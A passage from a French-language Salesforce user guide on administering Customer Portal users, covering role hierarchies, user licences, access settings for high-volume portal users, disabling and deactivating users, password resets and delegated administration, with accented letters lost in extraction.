Les rles sont fixes dans une hirarchie de rles du portail. Vous ne pouvez pas les personnaliser ou en ajouter d'autres. Ces
rles sont :

Cadre - pour les contacts

Responsable - pour les contacts
Utilisateur - pour les contacts
Compte personnel - pour les comptes personnels

Lorsque vous activez des clients pour les utilisateurs du Portail client, le systme attribue automatiquement les rles en fonction
de la licence utilisateur. Les comptes personnels ont toujours le rle Compte personnel. Les contacts qui possdent la licence
utilisateur du Portail client haut volume n'ont aucun rle.
Grce aux hirarchies de rles, les utilisateurs du portail ne voient jamais les donnes appartenant d'autres comptes. Bien
que les utilisateurs du Portail client haut volume n'ont aucun rle, ils ne sont pas autoriss visualiser les enregistrements non
associs leur compte ou contact, et ils ne peuvent afficher que les objets auxquels un accs leur a t accord. Vous pouvez
nanmoins crer des rgles de partage afin que les utilisateurs dtenteurs de la licence Responsable du portail Client et
appartenant des comptes diffrents aient accs aux donnes les uns des autres.
Les comptes avec diffrents types de portail (portail Client et portail PRM) ont une hirarchie de rles distincte pour chaque
portail. Les noms des rles incluent le type de portail auquel ils sont associs. Par exemple, si le compte A possde un Portail
client et un Portail PRM, les rles du Portail client s'intitulent Utilisateur client du compte A et les rles du portail PRM
s'intitulent Utilisateur partenaire du compte A .

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1315

Pour visualiser les rles attribus aux utilisateurs de votre portail Client, crez un rapport personnalis, choisissez Rapports
administratifs, slectionnez Utilisateurs comme type de donnes et ajoutez Rle aux colonnes de votre rapport. Notez que
vous ne pouvez pas gnrer un rapport pour les utilisateurs du Portail client haut volume car ils n'ont aucun rle. Reportez-vous
Rapports administratifs la page 1707.
Remarque: Vous ne pouvez pas crer un utilisateur du portail client associ un compte appartenant un utilisateur
partenaire.

Licences utilisateur du Portail client

Les licences utilisateur limitent les fonctions que les utilisateurs du Portail client peuvent excuter. Vous pouvez attribuer les
licences utilisateur suivantes aux utilisateurs du Portail client :

Utilisateur du Portail client haut volume

Responsable du portail client standard
Responsable du portail client personnalis

Ces licences utilisateur dterminent les profils du Portail client disponibles. Elles dterminent galement les positions des
utilisateurs dans la hirarchie de rles du Portail client.
Le tableau suivant prsente les licences utilisateur du Portail Client avec les profils associs et les positions correspondantes
dans la hirarchie de rles du Portail Client :
Licence utilisateur

Profil

Utilisateur du Portail client haut volume Profil Utilisateur du Portail client haut
volume ou profil clon et personnalis
dans le profil Utilisateur du Portail client
haut volume
Peut accder des objets
personnaliss selon des paramtres du
profil.
Ne peut pas accder aux comptes
personnels.

Rle
Les utilisateurs du Portail client haut
volume n'ont aucun rle. Reportez-vous
la rubrique Octroi de l'accs aux objets
aux Utilisateurs du Portail client haut
volume la page 1318.
Ne peut pas partager mais peut transfrer
les enregistrements qu'il possde ; ne peut
pas accder aux articles.
Ne peut pas tre inclus dans :

Responsable du portail client standard

Profil Utilisateur du portail Client, ou

profil clon personnalis partir du profil
Utilisateur du portail Client.
Peut accder des objets
personnaliss selon les paramtres de
profil.
Peut accder Salesforce CRM
Content selon la licence de
fonctionnalits et les paramtres de

Groupes personnels ou groupes

publics
Rgles de partage
quipes de comptes, quipes de vente
ou quipes de requtes
Espaces de travail Salesforce CRM
Content

Peut uniquement attribuer au rle

Utilisateur.
Peut uniquement afficher et modifier les
donnes dont il est directement
responsable, et afficher et modifier les
requtes dans lesquelles son nom figure,
dans le champ Nom du contact.

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1316

Licence utilisateur

Profil

Rle

profil. Reportez-vous la rubrique

Activation de Salesforce CRM
Content dans le Portail client la
page 1287.
Responsable du portail client personnalis Profil Responsable du portail Client, ou
profil clon personnalis partir du profil
Responsable du portail Client.
Peut accder des objets
personnaliss selon les paramtres de
profil.
Peut accder des rapports selon les
paramtres de profil.
Peut accder Salesforce CRM
Content selon la licence de
fonctionnalits et les paramtres de
profil. Reportez-vous la rubrique
Activation de Salesforce CRM
Content dans le Portail client la
page 1287.
Peut recevoir les autorisations Super
utilisateur du portail et
Administrateur dlgu d'utilisateur
de portail .
Les paramtres des profils
Responsable du portail Client et
Utilisateur du portail Client sont
identiques. Toutefois, les utilisateurs
associs au profil Responsable du
portail Client peuvent se voir
attribuer un accs plus important aux
donnes via les rgles de partage et la
hirarchie des rles du Portail client.

Peut tre attribu au rle Cadre,

Responsable ou Utilisateur.
Peut afficher et modifier les donnes dont
il est directement responsable, celles
appartenant ou partages par des
utilisateurs de niveau infrieur dans la
hirarchie des rles dans le Portail client,
et peut afficher et modifier les requtes
dans lesquelles son nom figure, dans le
champ Nom du contact.
Peut avoir des donnes partages avec
lui, comme tout autre utilisateur
Salesforce.com.

Remarque: Des comptes personnels autoriss en tant qu'utilisateurs du portail Client se voient automatiquement
attribuer le rle Compte personnel, que vous ne pouvez pas modifier. Les comptes personnels sont automatiquement
attribus ce rle car ils incluent un utilisateur unique, de sorte que des rles multiples ne sont pas ncessaires pour
leur compte. En outre, le mme rle est attribu tous les comptes personnels dtenus par le mme utilisateur.

Voir aussi :
Utilisateurs du portail Client - Oprations
Configuration du portail Client
Qu'est-ce qu'un compte personnel ?
Configuration des messages HTML dans plusieurs langues
Guide de configuration de l'administrateur Guide de mise en uvre du portail client Salesforce

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1317

Configuration de l'accs utilisateur au portail Client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer le portail Client :

Personnaliser l'application

Pour grer les utilisateurs du portail Client :

Modifier les utilisateurs libre-service

Pour crer, modifier et supprimer des profils :

Grer les utilisateurs

Pour dfinir l'accs au partage par dfaut :

Grer les utilisateurs

Pour dfinir les rgles de partage :

Grer les utilisateurs

Pour autoriser les utilisateurs du portail Client effectuer les Modifier les utilisateurs libre-service
oprations suivantes :
OU
Grer les utilisateurs

Lors de la configuration initiale d'un portail client Salesforce.com, configurez les lments suivants avant d'activer l'accs des
utilisateurs votre portail :
1. Suivez la procdure dcrit dans Configuration du portail Client pour configurer votre portail.
2. Affectez des profils portail Client au portail :
a. Slectionnez le nom d'un portail dans la page de configuration du portail Client.
b. Cliquez sur Modifier les profils dans la section Profils attribus.
c. Cochez la case Actif en regard du profil que vous souhaitez attribuer au portail.
Les utilisateurs du portail ne peuvent se connecter qu'aux portails Clients attribus leur profil. Si vous crez plusieurs
portails, vous devez attribuer des profils chaque portail auquel les utilisateurs peuvent accder.
3. Dfinissez les valeurs par dfaut du modle de partage l'chelle de l'entreprise sur Priv dans les comptes, contacts,
contrats, actifs et requtes. Ainsi, les utilisateurs du portail peuvent uniquement afficher et modifier les donnes associes
leurs comptes. Pour plus d'informations, reportez-vous Configuration du modle de partage par dfaut l'chelle de
votre entreprise la page 163.
Conseil: Pour maintenir public le comportement par dfaut de l'entreprise pour les utilisateurs de Salesforce.com,
tout en vous assurant que les utilisateurs du portail peuvent uniquement afficher et modifier les donnes associes
leurs comptes, vous pouvez crer des rgles de partage d'auto-rfrencement de Tous les utilisateurs internes
Tous les utilisateurs internes . Pour plus d'informations, reportez-vous Dfinition des rgles de partage la
page 177.
4. Vous pouvez galement dfinir des rgles de partage pour les utilisateurs du portail ( l'exception des utilisateurs du portail
client haut volume). Reportez-vous Dfinition des rgles de partage la page 177.

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1318

Remarque: Si votre organisation utilise des rgles de partage avec des rles et des subordonns, mettez-les jour
afin qu'elles s'appliquent aux rles et aux subordonns internes. Vous vous assurez ainsi qu'aucun enregistrement
appartenant un utilisateur Salesforce.com n'est partag avec un utilisateur du portail.
La catgorie d'ensembles de donnes Rles et subordonns internes permet de crer des rgles de partage qui
comprennent tous les utilisateurs d'un rle spcifique plus les utilisateurs des rles infrieurs, l'exception des rles
du portail client et du portail partenaire.
Vous pouvez facilement convertir des rgles de partage comprenant des rles et des subordonns pour inclure des
rles et des subordonns internes, au lieu d'utiliser l'assistant Convertir laccs utilisateur au portail. En outre, cet
assistant permet de convertir tout rapport, tableau de bord et dossiers de documents accessibles publiquement en
dossiers accessibles par tous les utilisateurs l'exception des utilisateurs du portail.
5. Vrifiez que les utilisateurs du portail ne sont pas ajouts des files d'attente et qu'ils ne sont pas inclus dans des groupes
publics ajouts des files d'attente, car les utilisateurs du portail ajouts des files d'attente peuvent tre en mesure d'accder
aux enregistrements partir des comptes auxquels ils ne sont pas associs. Pour plus d'informations, reportez-vous
Affichage et modification des files d'attente la page 142 et Gestion des groupes la page 135.
6. Vous pouvez ventuellement ajouter le composant Bienvenue aux prsentations de page d'accueil affectes aux utilisateurs
du portail.
Ce composant permet aux utilisateurs du portail de recevoir un message de bienvenue avec leur nom et de changer leurs
nom d'utilisateur, mot de passe, paramtres rgionaux, langue, fuseau horaire et informations de contact du portail. Pour
plus d'informations, reportez-vous Observations et conseils relatifs la configuration pour les pages du portail Client
la page 1307.
7. Si vous le souhaitez, vous pouvez autoriser les contacts s'inscrire eux-mmes pour accder votre portail Client.
Reportez-vous Activation de la connexion et des paramtres du portail Client la page 1293.

Voir aussi :
Gestion des utilisateurs du portail Client
Configuration des messages HTML dans plusieurs langues
Guide de configuration de l'administrateur Guide de mise en uvre du portail client Salesforce
Activation de Salesforce CRM Content dans le portail client
Utilisateurs du portail Client - Oprations

Octroi de l'accs aux objets aux Utilisateurs du portail client haut volume.
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour accorder l'accs aux objets des Utilisateurs du portail
client haut volume :

Personnaliser l'application

L'accs des utilisateurs du portail client haut volume est limit car les organisations concernes comptent des milliers ou des
millions d'utilisateurs du portail. Contrairement aux autres utilisateurs du portail, les utilisateurs du portail client haut volume

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1319

ne possdent aucun rle, ce qui limine les problmes de performance associs aux calculs de hirarchie de rles. Plus prcisment,
les utilisateurs du portail client haut volume :

sont des contacts activs pour accder un portail client ;

sont attribus la licence d'utilisateur Utilisateur du portail client haut volume ;
peuvent accder des enregistrements si toutes les conditions ci-dessous sont remplies :
-

les enregistrements sont associs au compte ou au contact de l'utilisateur du portail client haut volume ;
l'utilisateur du portail client haut volume dispose d'un accs en lecture seule ou en lecture/criture aux enregistrements
d'un objet

partagent uniquement les enregistrements dont ils sont responsables avec les utilisateurs de Salesforce.com dans le groupe
de partage Utilisateurs du portail client haut volume. Reportez-vous Partage des enregistrements d'utilisateurs du portail
client haut volume avec les utilisateurs de Salesforce.com la page 1320.

Les limitations des utilisateurs du portail client haut volume comprennent :

Les utilisateurs du portail client haut volume ne peuvent pas partager manuellement les enregistrements qu'ils possdent
ou ceux auxquels ils ont accs, mais ils peuvent les transfrer.
Ils ne peuvent pas accder des articles.
Vous ne pouvez pas attribuer la licence d'utilisateur Utilisateur du portail client haut volume des comptes personnels.
Les utilisateurs du Portail client haut volume ne peuvent pas possder de comptes.
Vous ne pouvez pas inclure des utilisateurs du portail client haut volume dans les lments suivants :
-

Groupes personnels ou groupes publics

Rgles de partage
quipes de comptes, quipes de vente ou quipes de requtes
Espaces de travail Salesforce CRM Content

Vous pouvez activer des contacts en tant qu'utilisateurs du portail client haut volume uniquement via l'API. Pour plus
d'informations, reportez-vous au guide Force.com Web Services API Developer's Guide.

Pour accorder l'accs aux objets des Utilisateurs du portail client haut volume, procdez comme suit :
1. Cliquez sur Configuration Personnalisation Portail Client Paramtres.
2. Dans les paramtres de partage de la section Utilisateurs du portail client haut volume, cliquez sur Configurer ou sur
Modifier en regard d'objet.
Remarque:

Les objets dont la colonne Action indique Configurer n'ont pas t personnaliss pour l'accs utilisateur du
portail client haut volume. Tant qu'ils ne sont pas configurs, leur accs est dtermin par les paramtres de
partage par dfaut l'chelle de l'organisation.
Les objets personnaliss s'affichent uniquement si le champ Disponible pour le portail client est
slectionn. Reportez-vous Gestion des objets personnaliss la page 696.

3. Accordez un accs bas sur une recherche de compte ou de contact :

Pour accorder l'accs tous les utilisateurs du portail client haut volume d'un compte, slectionnez Tous les
utilisateurs du portail client haut volume dont le compte correspond , puis slectionnez un
champ. Par exemple, slectionnez cette option si vous souhaitez que tous les utilisateurs du portail client haut volume
d'un compte accdent toutes les requtes associes leur compte.

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1320

Pour accorder l'accs un contact individuel en tant qu'utilisateur du portail client haut volume, slectionnez Uniquement
l'utilisateur du portail client haut volume qui correspond , puis slectionnez un champ. Par
exemple, slectionnez cette option si vous souhaitez que les utilisateurs du portail client haut volume individuels accdent
uniquement aux requtes associes leur contact.
Pour interdire l'accs tous les utilisateurs du portail client haut volume, slectionnez Ne pas accorder d'accs
aux utilisateurs du portail client haut volume.

4. Slectionnez un niveau d'accs en lecture seule ou en lecture/criture.

5. Cliquez sur Enregistrer.
Vos paramtres s'appliquent tous les portails clients de votre organisation.

Voir aussi :
Utilisateurs du portail Client - Oprations
Gestion des utilisateurs du portail Client
Configuration de l'accs utilisateur au portail Client
Paramtrage de la page de scurit Visualforce

Partage des enregistrements d'utilisateurs du portail client haut volume

avec les utilisateurs de Salesforce.com.
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour partager des enregistrements d'utilisateurs du portail
client haut volume avec les utilisateurs de Salesforce.com :

Personnaliser l'application

L'accs des utilisateurs du portail client haut volume est limit car les organisations concernes comptent des milliers ou des
millions d'utilisateurs du portail. Contrairement aux autres utilisateurs du portail, les utilisateurs du portail client haut volume
ne possdent aucun rle, ce qui limine les problmes de performance associs aux calculs de hirarchie de rles. Comme les
utilisateurs du portail client haut volume ne figurent pas dans la hirarchie de rles, contrairement aux utilisateurs de
Salesforce.com, un groupe de partage permet de spcifier les utilisateurs Salesforce.com qui peuvent accder aux enregistrements
appartenant des utilisateurs du portail client haut volume. Chaque portail client possde son propre groupe de partage.
Pour spcifier les utilisateurs de Salesforce.com qui peuvent accder aux enregistrements appartenant des utilisateurs du
portail client haut volume, procdez comme suit :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Portail Client Paramtres.

Cliquez sur le nom d'un portail client.
Cliquez sur le sous-onglet Paramtres du groupe de partage.
Cliquez sur Activer pour dmarrer le groupe de partage.
L'activation peut prendre du temps. Vous recevez un e-mail lorsque le processus est termin.

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1321

Remarque: La dsactivation d'un groupe de partage supprime l'accs de tous les utilisateurs de Salesforce.com aux
enregistrements appartenant des utilisateurs du portail client haut volume.
5. Cliquez sur Modifier pour ajouter des utilisateurs de Salesforce.com au groupe de partage :
a. Dans la liste droulante Recherche, slectionnez le type de membre ajouter :
b. Si vous ne trouvez pas le membre ajouter, saisissez des mots-cls dans la zone de recherche, puis cliquez sur Rechercher.
c. Slectionnez les membres souhaits dans la zone Membres disponibles, puis cliquez sur Ajouter pour les ajouter au
groupe.
d. Cliquez sur Enregistrer.

Voir aussi :
Octroi de l'accs aux objets aux Utilisateurs du portail client haut volume.
Utilisateurs du portail Client - Oprations
Gestion des utilisateurs du portail Client
Configuration de l'accs utilisateur au portail Client

Utilisateurs du portail Client - Oprations

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Parmi les tches courantes de gestion des utilisateurs du portail partenaire figurent :

Configuration du portail client pour les utilisateurs

Activation du portail client pour les utilisateurs individuels depuis l'onglet Contacts
Invalidation et dsactivation des utilisateurs du portail client
Dsactivation de comptes du portail client
Modification des informations et des rles des utilisateurs du portail client
Modification de comptes d'utilisateurs du portail client
Fusion d'utilisateurs du portail client
Rinitialisation des mots de passe des utilisateurs du portail client
Affichage des licences utilisateur du portail client
Octroi de l'accs aux enregistrements d'objets des utilisateurs du portail client haut volume
Partage des enregistrements des utilisateurs du portail client haut volume avec les utilisateurs de Salesforce.com
Gestion des profils d'utilisateurs du portail client
Attribution de profils un portail client
Dlgation de la gestion des utilisateurs du portail client et de la gestion des contacts et des requtes aux utilisateurs du
portail
Cration de rapports sur les utilisateurs du portail client
Conseil: Pour dpanner les problmes des utilisateurs du portail client, vous pouvez cliquer sur Se connecter en tant
qu'utilisateur du portail dans la page de dtails des contacts de l'utilisateur du portail. Lorsque vous cliquez sur ce

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1322

bouton, une nouvelle fentre du navigateur s'ouvre et vous connecte automatiquement au portail en tant qu'utilisateur
du portail. Vous pouvez galement cliquer sur ce bouton pour vrifier que le portail est correctement configur.
Le bouton Se connecter en tant qu'utilisateur du portail est disponible uniquement si vous disposez de l'autorisation
Modifier les utilisateurs libre-service et de l'accs Modifier sur le compte. Le bouton Connexion en tant
qu'utilisateur de portail ne s'affiche pour les utilisateurs du portail inactifs.

Voir aussi :
Gestion des utilisateurs du portail Client
Configuration de l'accs utilisateur au portail Client
Octroi de l'accs aux objets aux Utilisateurs du portail client haut volume.

Modification d'informations utilisateur du portail Client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les utilisateurs du portail Client :

Modifier les utilisateurs libre-service

Pour crer, modifier et supprimer des profils :

Grer les utilisateurs

Pour crer, modifier et supprimer des prsentations de page : Personnaliser l'application

Pour dfinir la scurit au niveau du champ :

Personnaliser l'application

Pour dfinir les rgles de partage :

Grer les utilisateurs

Vous pouvez modifier les informations d'utilisateurs du portail client Salesforce.com pour les contacts associs des comptes
auxquels vous avez accs. Pour modifier les informations d'un utilisateur du portail Client :
1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
2. Cliquez sur Modifier en regard du nom de l'utilisateur de votre choix.
3. Apportez toutes les modifications ncessaires, puis cliquez sur Enregistrer. Pour dsactiver un utilisateur et lui interdire
l'accs l'organisation, assurez-vous que la case Actif est dslectionne.
Conseils relatifs la modification d'informations utilisateur du portail client
Notez les points suivants lors de la modification des informations utilisateur du portail client :

Vous pouvez crer une vue de liste personnalise pour afficher uniquement les utilisateurs du portail client en dfinissant
le filtre sur le type de licence Responsable du portail, le type de licence Utilisateur du portail Client ou les deux. Par exemple,
utilisez les critres Type de licence gal Utilisateur du portail Client, Responsable du portail Client.
Si vous modifiez l'adresse e-mail d'un utilisateur et que vous dslectionnez la case Gnrer un nouveau mot de
passe et avertir immdiatement l'utilisateur, un message de confirmation est envoy la nouvelle adresse
e-mail saisie. L'utilisateur doit alors cliquer sur le lien fourni dans ce message pour que la nouvelle adresse e-mail soit prise
en compte. Ce processus garantit la scurit du systme. Lors de la gnration du nouveau mot de passe d'un utilisateur,
le nouveau mot de passe est automatiquement envoy l'adresse e-mail de l'utilisateur sans vrification du message.

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1323

Vous pouvez inclure le composant Accueil du portail Client dans les prsentations de page d'accueil attribues aux utilisateurs
du portail Client. Lorsqu'ils se connectent votre portail, un message d'accueil affiche leur nom et ils peuvent modifier les
nom d'utilisateur, mot de passe, paramtres rgionaux, langue, fuseau horaire et informations de contact. Lorsque les
utilisateurs du portail modifient des informations les concernant, leur enregistrement utilisateur est mis jour mais leur
enregistrement de contact ne l'est pas automatiquement en consquence.

Voir aussi :
Gestion des utilisateurs du portail Client
Invalidation et dsactivation des utilisateurs du portail

Invalidation et dsactivation des utilisateurs du portail

Le portail client est disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
Le portail partenaire est disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour invalider ou dsactiver les utilisateurs du Portail client : Modifier sur le compte associ l'utilisateur du Portail client
ET
Modifier les utilisateurs libre-service
Pour invalider ou dsactiver les utilisateurs du portail
partenaire :

Modifier sur le compte associ l'utilisateur du portail

partenaire
ET
Grer les partenaires

Vous pouvez supprimer l'accs d'un client votre portail client ou portail partenaire Salesforce.com de deux faons. Comme
prsent en dtails ci-aprs, l'invalidation d'un utilisateur du portail est permanente, tandis que la dsactivation d'un utilisateur
du portail ne l'est pas :
Invalidation d'un utilisateur du portail
L'invalidation d'un utilisateur du portail comprend les actions suivantes :

Fin de l'accs de l'utilisateur votre portail

Suppression de tous les groupes, quipes et rgles de partage auxquels l'utilisateur est associ.
Perte dfinitive de l'association entre l'utilisateur du portail et le contact
Si vous ractivez ultrieurement un contact pour l'accs au portail, un nouvel utilisateur du portail, totalement
indpendant de l'enregistrement prcdent, est cr.

Nous recommandons d'invalider un utilisateur du portail dans les cas suivants :

Un contact a t activ par erreur en tant qu'utilisateur du portail

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1324

L'utilisateur du portail est associ un contact dupliqu

Vous souhaitez qu'un contact n'ait plus jamais accs au portail
Remarque:

Vous ne pouvez pas dsactiver des utilisateurs du portail client haut volume.
Salesforce.com ne supprime pas les enregistrements utilisateurs, ceux du portail inclus. Alors que vous ne
pouvez pas ractiver un utilisateur du portail invalid, vous pouvez toutefois afficher et mettre jour
l'enregistrement d'un utilisateur invalid en cliquant sur Configuration Grer les utilisateurs
Utilisateurs.

Dsactivation d'un utilisateur du portail

La dsactivation d'un utilisateur du portail lui interdit de se connecter votre portail et vous donne la possibilit de le
retirer de toutes les quipes dont il est membre (par exemple, quipes de pistes et quipes de comptes). Lorsque vous
dsactivez un utilisateur du portail, son enregistrement ne perd pas dfinitivement son association avec le contact. Vous
pouvez ractiver tout moment l'utilisateur du portail.
Remarque: Lorsqu'un administrateur dlgu d'utilisateur du portail dsactive un utilisateur du portail, il ne
peut le retirer d'aucune quipe dont l'utilisateur est membre.

Nous recommandons de dsactiver un utilisateur du portail si vous souhaitez pouvoir le ractiver ultrieurement.
Invalidation d'un utilisateur du portail
Pour invalider un utilisateur du portail :
1. Dans la page de dtails du contact, cliquez sur Invalider l'utilisateur du portail client ou sur Invalider l'utilisateur
partenaire. Dans la page de dtails de compte d'un compte personnel, cliquez sur Invalider le compte du portail client.
Les comptes personnels ne sont pas disponibles pour le portail partenaire.
2. Cliquez sur OK.
Dsactivation d'un utilisateur du portail
Pour dsactiver un utilisateur du portail :
1. Pour le portail client, cliquez sur le bouton Afficher l'utilisateur duportail client sur le contact ou dans la page de dtails
du compte personnel. Pour le portail partenaire, cliquez sur le bouton Afficher l'utilisateur partenaire dans la page de
dtails du contact.
Les comptes personnels ne sont pas disponibles pour le portail partenaire.
2. Cliquez sur Modifier, puis dsactivez la case Actif.
Vous pouvez ractiver tout moment un utilisateur du portail en activant la case Actif.
3. Cliquez sur Enregistrer.
Conseils relatifs l'invalidation et la dsactivation des utilisateurs du portail
Notez les points suivants lors de l'invalidation ou de la dsactivation (l'invalidation est permanente ; la dsactivation ne l'est
pas) :

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1325

Vous ne pouvez pas supprimer un utilisateur du portail actif. Vous pouvez seulement invalider ou dsactiver son accs ce
portail.
Le tableau suivant indique si vous pouvez supprimer des contacts associs des utilisateurs du portail :
Etat de l'utilisateur du portail associ au contact

Suppression du contact possible ?

Utilisateur du portail actif

Non. Ceci permet d'assurer que le contact est disponible si

vous dcidez de ractiver l'utilisateur du portail.

Utilisateur du portail inactif

Non. Ceci permet d'assurer que le contact est disponible si

vous dcidez de ractiver l'utilisateur du portail.

Utilisateur du portail dsactiv

Oui. Les contacts supprims sont envoys dans la Corbeille.

Pour supprimer un contact activ par le portail, commencez par dsactiver l'utilisateur du portail, puis supprimez le contact.
Les requtes associes un utilisateur du portail ne sont en aucun cas mis jour lorsque vous invalidez ou dsactivez
l'utilisateur du portail. Par exemple, si un utilisateur du portail, responsable d'une requte, est invalid, il reste responsable
jusqu' la mise jour de la requte avec un nouveau responsable.
Avant d'invalider un utilisateur partenaire, nous recommandons de transfrer les opportunits dont l'utilisateur est responsable
vers un autre utilisateur qui reste actif. En effet, si vous invalidez un utilisateur partenaire, les opportunits dont il est
responsable sont supprimes de la hirarchie des prvisions de votre entreprise (le rle de l'utilisateur partenaire devient
obsolte).
Une fois un utilisateur partenaire invalid, la dsactivation de l'utilisateur par Salesforce.com peut prendre jusqu' 10
secondes. Pendant ce temps, l'utilisateur du portail peut continuer effectuer des actions sur le portail.
Vous pouvez tout moment supprimer les boutons Invalider le portail client et Invalider l'utilisateur partenaire des
prsentations de page du contact. Cette prcaution empche les utilisateurs disposant de l'autorisation Modifier les
utilisateurs en libre-service ou Grer les partenaires de dsactiver les utilisateurs du portail.
Un utilisateur du portail invalid ou dsactiv n'est pas comptabilis dans les licences utilisateur disponibles de l'entreprise.
Nanmoins, l'invalidation ou la dsactivation d'un utilisateur du portail ne rduit pas le nombre de licences factures votre
entreprise, vous devez modifier le nombre de licences pour tre factur en consquence. Reportez-vous Ajout ou suppression
de licences utilisateur la page 2181.
Pour invalider tous les utilisateurs du portail associs un compte et supprimer dfinitivement tous les rles et groupes de
portail associs au compte :
-

Cliquez sur Invalider le compte du partenaire dans un compte portail partenaire.

Cliquez sur Invalider le compte du portail client dans un compte du portail client ou un compte personnel du portail
client.

Vous pouvez tout moment supprimer les boutons Invalider le compte du portail client et Invalider l'utilisateur partenaire
des prsentations de page du compte. Cette prcaution empche les utilisateurs disposant de l'autorisation Modifier les
utilisateurs en libre-service ou Grer les partenaires de dsactiver les comptes du portail.

Lorsque vous invalidez l'utilisateur ou le compte du portail, la modification est consigne dans le journal d'audit de
configuration.
Les rles du portail ne sont pas retirs des utilisateurs du portail invalids qui sont associs des comptes personnels. Vous
pouvez nanmoins retirer les rles du portail manuellement :
1.
2.
3.
4.

Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.

Slectionnez le nom d'un utilisateur du portail invalid.
Cliquez sur Modifier.
Slectionnez Aucun dans la liste droulante Rle.

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1326

5. Cliquez sur Enregistrer.

Voir aussi :
Cration d'utilisateurs partenaires
Activation du portail Client pour les constacts et les comptes personnels

Rinitialisation des mots de passe des utilisateurs du portail Client

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour rinitialiser les mots de passe des utilisateurs du portail Modifier les utilisateurs libre-service
Client :

Si un utilisateur du portail client Salesforce.com perd son mot de passe, il lui suffit de cliquer sur le lien Vous avez oubli votre
mot de passe ? de la page de connexion du portail Client pour recevoir un nouveau mot de passe par e-mail.
Pour rinitialiser les mots de passe des utilisateurs du portail Client :
1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
2. Cochez la case en regard du nom de l'utilisateur. Si vous le souhaitez, pour changer le mot de passe de tous les utilisateurs
affichs, cochez la case situe dans l'en-tte de colonne pour slectionner toutes les lignes.
3. Cliquez sur Rinitialiser le mot de passe pour recevoir un nouveau mot de passe par e-mail.
Conseil: Vous pouvez inclure le composant Accueil du portail Client dans les prsentations de page d'accueil attribues
aux utilisateurs du portail Client. Lorsqu'ils se connectent votre portail, ils voient alors s'afficher un message d'accueil
contenant leur nom et peuvent modifier leurs propres nom d'utilisateur, mot de passe, paramtres rgionaux, langue,
fuseau horaire et informations de contact. Lorsque les utilisateurs du portail modifient des informations les concernant,
leur enregistrement utilisateur est mis jour mais leur enregistrement de contact ne l'est pas automatiquement en
consquence. Pour plus d'informations sur la dfinition des composants de page d'accueil et l'attribution des prsentations
de page d'accueil, reportez-vous Personnalisation des prsentations de page de l'onglet Accueil la page 568.

Voir aussi :
Gestion des utilisateurs du portail Client

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1327

Dlgation des droits d'administration des utilisateurs du portail client

et super utilisateur du portail
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les utilisateurs du portail Client :

Administrateur dlgu d'utilisateur de portail

Pour crer, modifier et supprimer des profils :

Grer les utilisateurs

Pour afficher et modifier toutes les requtes et tous les contacts Super utilisateur du portail
d'un compte :

La licence d'utilisateur personnalise Responsable du portail client permet de dlguer certains droits administratifs des
utilisateurs du portail client. Les administrateurs dlgus d'utilisateurs du portail client peuvent effectuer les oprations
suivantes pour les utilisateurs associs leur propre compte :

Crer des utilisateurs du Portail client

Modifier des utilisateurs existants du Portail client
Rinitialiser les mots de passe des utilisateurs du Portail client
Dsactiver des utilisateurs existants du Portail client
Remarque: Lorsqu'un administrateur dlgu d'utilisateur du portail dsactive un utilisateur du portail, il ne peut
le retirer d'aucune quipe dont l'utilisateur est membre.

Les administrateurs dlgus d'utilisateurs du Portail client peuvent galement afficher la page de dtails de leur compte, ainsi
que les contacts et les requtes associs leur compte via l'onglet Comptes. En outre, les administrateurs dlgus d'utilisateurs
du Portail client reoivent automatiquement l'autorisation Super utilisateur du portail . Cette autorisation permet aux
administrateurs utilisateurs du portail client dlgus d'effectuer les oprations suivantes pour leur propre compte :

Afficher et modifier toutes les requtes

Crer des requtes pour des contacts
Afficher et modifier tous les contacts, que le portail soit activ ou non
Gnrer un rapport sur tous les contacts, que le portail soit activ ou non, si l'onglet Rapports est ajout votre Portail
client et si l'utilisateur dispose de l'autorisation Excuter les rapports

Vous pouvez ajouter uniquement l'autorisation Super utilisateur du portail aux profils des utilisateurs du portail ( l'exception
des utilisateurs du portail client haut volume), pour leur permettre d'afficher et de modifier toutes les requtes et tous les
contacts de leur compte, sans pouvoir grer d'autres utilisateurs du portail. Cependant, les super utilisateurs du portail ne
peuvent pas afficher l'onglet Contacts dans le Portail client sans l'autorisation Administrateur dlgu d'utilisateur de portail.
Pour modifier des contacts, les super utilisateurs du portail doivent slectionner un contact dans un enregistrement de requte.
Pour plus d'informations, reportez-vous :

Dlgation des droits d'administration des utilisateurs du Portail client

Octroi de l'autorisation Super utilisateur du portail aux utilisateurs
Conseils sur la configuration de l'administration dlgue des utilisateurs du Portail client

Portail client

Guide de l'utilisateur | Gestion des utilisateurs du portail Client | 1328

Dlgation des droits d'administration des utilisateurs du Portail client

Pour dlguer les droits d'administration des utilisateurs du Portail client :
